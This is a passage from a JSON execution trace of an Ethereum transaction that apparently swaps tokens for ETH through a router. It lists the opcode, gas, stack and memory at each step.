c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3235,"op":"PUSH1","gas":18886,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3237,"op":"MLOAD","gas":18883,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3238,"op":"DUP1","gas":18880,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3239,"op":"DUP4","gas":18877,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3240,"op":"SUB","gas":18874,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x3a4","0x3c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3241,"op":"DUP2","gas":18871,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3242,"op":"PUSH1","gas":18868,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3244,"op":"DUP8","gas":18865,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3245,"op":"DUP1","gas":18862,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3246,"op":"EXTCODESIZE","gas":18859,"gasCost":100,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3247,"op":"ISZERO","gas":18759,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x901"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3248,"op":"DUP1","gas":18756,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3249,"op":"ISZERO","gas":18753,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x3c8","0x0","0x3a4","0x24","0x3a4","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000